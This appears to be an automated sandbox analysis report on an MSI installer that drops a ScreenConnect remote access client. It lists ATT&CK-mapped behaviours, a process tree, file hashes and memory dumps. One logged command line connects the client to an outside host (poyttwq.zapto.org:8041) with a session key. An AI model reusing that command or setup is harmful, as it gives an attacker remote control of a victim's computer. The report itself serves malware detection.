Analysis

  • max time kernel
    91s
  • max time network
    134s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    14/08/2024, 03:44

General

  • Target
    666aa713579df90134c83e3297eba42dd7d0d35bb343b9cd94af0793e8f8a0ab.msi
  • Size 10.4MB
  • Sample240814-eahc4swdmc
  • SHA256 666aa713579df90134c83e3297eba42dd7d0d35bb343b9cd94af0793e8f8a0ab
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Sets service image path in registry 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 2 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 15 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 23 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 52 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\666aa713579df90134c83e3297eba42dd7d0d35bb343b9cd94af0793e8f8a0ab.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:2216
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2764
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding B6D9A3DB435FC1B25EA14E5E5724A8BB C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2788
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI5715.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_259479427 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2160
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding C7A4A51FCFEDAD0EFCE9DBFC20055152
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2360
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 1C718715E1275417F08EDCDF2496EA78 M Global\MSI0000
      2⤵
      • Drops file in Windows directory
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:972
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
      PID:3004
    • C:\Windows\system32\DrvInst.exe
      DrvInst.exe "1" "200" "STORAGE\VolumeSnapshot\HarddiskVolumeSnapshot19" "" "" "61530dda3" "0000000000000000" "0000000000000554" "00000000000003D8"
      1⤵
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      PID:2348
    • C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=poyttwq.zapto.org&p=8041&s=2232caa6-e5a1-4ebe-a9ec-af7650b8883c&k=BgIAAACkAABSU0ExAAgAAAEAAQARwlCbNekqtvn7ehBbVwdj7uvzavA8rmmmr3yj7MR0sbp1gpODtITSSp2yopf%2ba7WKdfYEX%2fyTe6B0w%2birgqpxQHxW0KLJJ9dnyhCmBc0kgbG0vIPUmrbaML2HQr0t7mn269V%2b%2bWn87tuotq4VeGoagOdEWUVVZaGSEJ94nqZqGkrTz0RPCJC2SBT%2boKzc%2fKQO5wG%2fJpqFDDBxFZQwAzq31LnTDb6A3I3SoWMZBbyw1AOrfJaDaz8unfrictd01UIWxSfjfeZJdHg01pQ1qsSttdhfmQZCMI9%2fl6zudjwuJ52f7zCQREbAV%2bmhryBoYftW5MO08DWgvKvVv%2bp776bN&c=Zoom&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Drops file in System32 directory
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2028
      • C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.WindowsClient.exe" "RunRole" "e4ad169e-385c-4c36-b70d-db03944f5292" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: AddClipboardFormatListener
        PID:1940
      • C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.WindowsClient.exe" "RunRole" "fb1037b8-7d97-4890-b0ea-4f9e79f0659e" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Suspicious behavior: AddClipboardFormatListener
        PID:492

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          f7778ca.rbs

          • Path C:\Config.Msi\f7778ca.rbs
          • Size 213KB
          • SHA256 678ed68097c278d5fa508b57af60a995ff10c103439d19b018dbd54e697749c9
          • MD5 SHA1 SHA512 SSDEEP

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\Client.Override.en-US.resources
          • Size 343B
          • SHA256 12191483feb8db21c4b7ecd039be74de31710326b9ff1466d9bd6f53329259f6
          • MD5 SHA1 SHA512

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\Client.en-US.resources
          • Size 47KB
          • SHA256 2d88b97d28be01abca4544c6381a4370c1a1ce05142c176742f13b44889ddf90
          • MD5 SHA1 SHA512 SSDEEP

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.Client.dll
          • Size 188KB
          • SHA256 17377a52eeae11e8ee01eb629d6a60c10015ad2bb8bc9768e5c8e4b6500a15ed
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 e9ab064ed381c29a3930f75ca3e05605c6ee07f30a69c043f576a5461de3bafc
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 998cc3f9af5bd41ccf0f9be86192bbe20cdec08a6ff73c1199e1364195a83e14
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 746KB
          • SHA256 62b405f32a43da0c8e8ed14a58ec7b9b4422b154bfd4aed4f9be5de0bc6eb5e8
          • MD5 SHA1 SHA512 SSDEEP

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\app.config
          • Size 1KB
          • SHA256 38edd3df8e7edb8decb53d1284f8ef151942212bcaaad4e3c000cf16c0f59082
          • MD5 SHA1 SHA512

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\system.config
          • Size 945B
          • SHA256 29cd679a36a4631e10f8e11864300aa4062abe7769cab6e50d3c351dcd103d84
          • MD5 SHA1 SHA512

          MSI5715.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI5715.tmp
          • Size 1017KB
          • SHA256 2b35c0e4088b2a7728fa7bc6a5bfdefed7665598de6d49641fdf5d1f1271a4d7
          • MD5 SHA1 SHA512 SSDEEP

          MSI79C3.tmp

          • Path C:\Windows\Installer\MSI79C3.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP

          f7778c8.msi

          • Path C:\Windows\Installer\f7778c8.msi
          • Size 10.4MB
          • SHA256 666aa713579df90134c83e3297eba42dd7d0d35bb343b9cd94af0793e8f8a0ab
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.dll

          • Path \Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.ClientService.dll
          • Size 60KB
          • SHA256 7c5442121dba2a30ab9579ec08e111ded372cf9cf90fb3256f273980b975afa9
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe

          • Path \Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.WindowsClient.exe
          • Size 573KB
          • SHA256 71602f6b0b27c8b7d8ad624248e6126970939effde785ec913ace19052e9960e
          • MD5 SHA1 SHA512 SSDEEP

          Microsoft.Deployment.WindowsInstaller.dll

          • Path \Users\Admin\AppData\Local\Temp\MSI5715.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Core.dll

          • Path \Users\Admin\AppData\Local\Temp\MSI5715.tmp-\ScreenConnect.Core.dll
          • Size 519KB
          • SHA256 761b7e50baa229e8afcd9a50990d7f776ddb5ed1ea5fbb131c802e57cf918742
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.InstallerActions.dll

          • Path \Users\Admin\AppData\Local\Temp\MSI5715.tmp-\ScreenConnect.InstallerActions.dll
          • Size 21KB
          • SHA256 ca9e51d51f24e16428d1b0e9a0829a44da2678bfc7ba00f0b46a57dcd6d734b8
          • MD5 SHA1 SHA512 SSDEEP

          memory/1940-120-0x00000000006E0000-0x00000000006F6000-memory.dmp

          memory/1940-115-0x0000000000190000-0x0000000000224000-memory.dmp

          memory/1940-116-0x0000000000560000-0x0000000000596000-memory.dmp

          memory/1940-117-0x0000000001EF0000-0x0000000001F78000-memory.dmp

          memory/1940-118-0x000000001B330000-0x000000001B4DA000-memory.dmp

          memory/1940-119-0x00000000006D0000-0x00000000006E6000-memory.dmp

          memory/2028-77-0x0000000000F00000-0x0000000000F88000-memory.dmp

          memory/2028-98-0x0000000003470000-0x000000000352E000-memory.dmp

          memory/2028-89-0x0000000000C10000-0x0000000000C46000-memory.dmp

          memory/2028-81-0x0000000003AB0000-0x0000000003C5A000-memory.dmp

          memory/2028-70-0x0000000000290000-0x00000000002A6000-memory.dmp

          memory/2028-73-0x0000000000290000-0x00000000002A6000-memory.dmp

          memory/2160-15-0x0000000000470000-0x000000000049E000-memory.dmp

          memory/2160-19-0x00000000006F0000-0x00000000006FC000-memory.dmp

          memory/2160-23-0x0000000002770000-0x00000000027F8000-memory.dmp